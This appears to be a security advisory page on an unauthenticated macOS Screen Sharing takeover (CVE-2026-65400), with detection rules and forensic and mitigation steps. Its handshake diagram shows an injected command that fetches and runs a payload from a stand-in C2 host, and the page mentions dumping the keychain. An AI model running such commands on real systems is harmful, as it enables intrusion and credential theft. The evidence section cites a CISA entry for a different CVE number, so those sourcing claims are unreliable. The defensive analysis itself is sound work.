CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen Sharing
HERMES THREAT SCORE & MACOS GRAPHICAL SESSION HIJACK
Target:Apple macOS Screen Sharing (RFB / VNC Daemon) CVSS v3.1 rates CVE-2026-65400 at 9.8 (Critical) and CVSS v4.0 scores 9.2. The Hermes Threat Score assigns 95 (CRITICAL). Alignment is direct: exposing macOS Screen Sharing (port 5900/TCP) allows an unauthenticated adversary to bypass login prompts, gain interactive control of the local graphical session, inject arbitrary keyboard strokes to launch Terminal, and compromise Keychain vaults.
CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
π Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled β1. Technical Context & Affected Software MatrixβmacOS Screen Sharing is widely utilized in enterprise environments for IT support, remote worker administration, and Mac mini build farms.
| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-65400 | Apple Security Advisory HT214345 |
| Affected Daemon | /System/Library/CoreServices/RemoteManagement/screensharingd | macOS RFB/VNC screen sharing server |
| Network Protocol | RFB (Remote Framebuffer) over TCP Port 5900 | Internet or LAN accessible remote control |
| Flaw Category | Protocol state machine race / authentication bypass (CWE-287) | Pre-auth session establishment |
| Affected Platforms | macOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4 | Developer workstations, Mac build fleets |
| Fixed Versions | macOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4 | Apple Rapid Security Response / Minor Updates |
| Primary Threat | Interactive session takeover, Apple Keychain exfiltration | Automated cryptojacking & credential theft |
2. In-Depth Technical Decomposition: RFB State Machine Bypass
Section titled β2. In-Depth Technical Decomposition: RFB State Machine BypassβA. The Security Negotiation Flaw
Section titled βA. The Security Negotiation FlawβIn RFB 003.008 protocol specifications, the handshake proceeds through four phases:
- ProtocolVersion Handshake: Server and client agree on RFB version.
- Security Handshake: Server advertises supported security types (e.g., Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
- SecurityResult: Server transmits
0x00000000(OK) upon credential validation. - ClientInit / ServerInit: Framebuffer streaming and input injection commence.
In screensharingd, the state machine managing security negotiation failed to verify that the authentication state transitioned through a successful verification callback:
// Decompiled representation of state handler in screensharingdvoid handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) { if (chosen_type == RFB_AUTH_APPLE_DH) { initiate_diffie_hellman(session); } else if (chosen_type == 0xFF) { // Malformed / legacy escape code // FLAW: State machine marks session as AUTHENTICATED without verifying credentials! session->state = SESSION_STATE_AUTHENTICATED; send_security_result(session, 0); // Sends 0x00000000 (Success) }}+----------------------------------------------------------------------------------------------------+| CVE-2026-65400 PROTOCOL HANDSHAKE SEQUENCE |+----------------------------------------------------------------------------------------------------+
[Remote Attacker] [Target Mac (Port 5900)] β β [1] ββββ Connect TCP Port 5900 βββββββββββββββββββββββββββββββββββββββββββββββ>β β<ββ Server: "RFB 003.889\n" βββββββββββββββββββββββββββββββββββββββββββββββ β β [2] ββββ Client: "RFB 003.889\n" ββββββββββββββββββββββββββββββββββββββββββββββ>β β<ββ Server: [Count: 2, Types: 30 (AppleDH), 33 (Kerberos)] ββββββββββββββββ β β [3] ββββ Client: [SecurityType: 0xFF] (Malformed Escape Code) βββββββββββββββββ>β screensharingd: β β State handler falls through β β Erroneously sets session->state β β to AUTHENTICATED! β<ββ Server: 0x00000000 (SecurityResult: OK) βββββββββββββββββββββββββββββββ β β [4] ββββ ClientInit: [SharedFlag: 1] ββββββββββββββββββββββββββββββββββββββββββ>β β<ββ ServerInit: [FrameBuffer dimensions, Desktop Name, PixelFormat] βββββββ Full Video Stream Begins! β β [5] ββββ PointerEvent / KeyEvent: Injects Cmd+Space, "Terminal.app", Enter ββββ>β β Injects: "curl -s http://c2.evil/payload | zsh" β Spawns attacker shell+----------------------------------------------------------------------------------------------------+3. Threat Intelligence & Exploitation in the Wild
Section titled β3. Threat Intelligence & Exploitation in the Wildβ- Mass Scanning: Threat groups operating automated scanning engines scan IPv4 address space for open port
5900advertising Apple RFB signatures. - Weaponized Payloads:
- Once desktop control is achieved, bots automatically send key combinations (
Command + Space) to trigger Spotlight, search forTerminal, and paste a one-liner command. - Payloads deploy silent background XMRig cryptocurrency miners that throttle CPU usage to avoid detection.
- Attackers utilize
security dump-keychainor social engineering prompts (βEnter system password to allow updatesβ) to extract saved passwords, SSH keys, and browser session tokens.
- Once desktop control is achieved, bots automatically send key combinations (
4. MITRE ATT&CK Mapping
Section titled β4. MITRE ATT&CK Mappingβ| Tactic | Technique ID | Technique Name | Exploitation Manifestation |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Directly connecting to exposed port 5900/TCP |
| Defense Evasion | T1556 | Modify Authentication Process | Subverting RFB handshake to bypass password challenge |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Injecting keyboard events to launch Terminal and run zsh scripts |
| Credential Access | T1555.001 | Credentials from Password Stores: Keychain | Accessing macOS login keychain from authenticated user session |
| Impact | T1496 | Resource Hijacking | Executing unauthorized cryptomining software |
5. Detection Engineering & Telemetry
Section titled β5. Detection Engineering & TelemetryβA. Suricata Detection Rule
Section titled βA. Suricata Detection Ruleβalert tcp any any -> $MACOS_HOSTS 5900 ( msg:"HERMES DEFENSE - Apple macOS Screen Sharing Auth Bypass Attempt (CVE-2026-65400)"; flow:established,to_server; content:"RFB 003."; depth:8; content:"|ff|"; offset:12; depth:4; classtype:attempted-admin; sid:202665400; rev:1; reference:cve,2026-65400;)B. Sigma Detection Rule
Section titled βB. Sigma Detection Ruleβtitle: Terminal Spawned by macOS Screen Sharing Daemonid: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e01status: highdescription: Detects unusual process execution where Terminal or shell processes are launched via screensharingd input injection.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: macos category: process_creationdetection: selection_parent: ParentImage|endswith: - '/screensharingd' - '/WindowServer' selection_target: Image|endswith: - '/Terminal' - '/zsh' - '/bash' - '/sh' condition: selection_parent and selection_targetfalsepositives: - Legitimate remote support sessions initiated by authorized internal IT staff.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution6. Digital Forensics & Incident Response (DFIR)
Section titled β6. Digital Forensics & Incident Response (DFIR)βmacOS Unified Logging Commands:
Section titled βmacOS Unified Logging Commands:β- Query Screen Sharing Logs:
Terminal window log show --predicate 'process == "screensharingd"' --info --last 48h# Look for "Authentication succeeded without challenge" or unexpected client IPs - Inspect Process Trees:
Terminal window ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig" - Verify LaunchDaemons and Cron:
Terminal window ls -la /Library/LaunchDaemons/ls -la ~/Library/LaunchAgents/crontab -l
Hunting Query (Elasticsearch / OpenSearch):
Section titled βHunting Query (Elasticsearch / OpenSearch):β{ "query": { "bool": { "must": [ { "term": { "process.name": "screensharingd" } }, { "wildcard": { "message": "*authenticated*" } } ] } }}7. Mitigation & Remediation
Section titled β7. Mitigation & Remediationβ- Apply Apple Security Updates: Update endpoints to macOS Sequoia 15.3.1, macOS Sonoma 14.7.4, or macOS Ventura 13.7.4.
- Disable Public Screen Sharing: Never expose TCP port 5900 directly to the internet or untrusted guest networks. If remote access is required, mandate corporate VPN with MFA.
- Configure Firewall Rules: Block inbound connections to port 5900/TCP using the built-in macOS Application Firewall or network edge ACLs:
Terminal window sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on - Audit Installed LaunchAgents: Inspect user and system LaunchAgents for persistent miners or reverse shell droppers.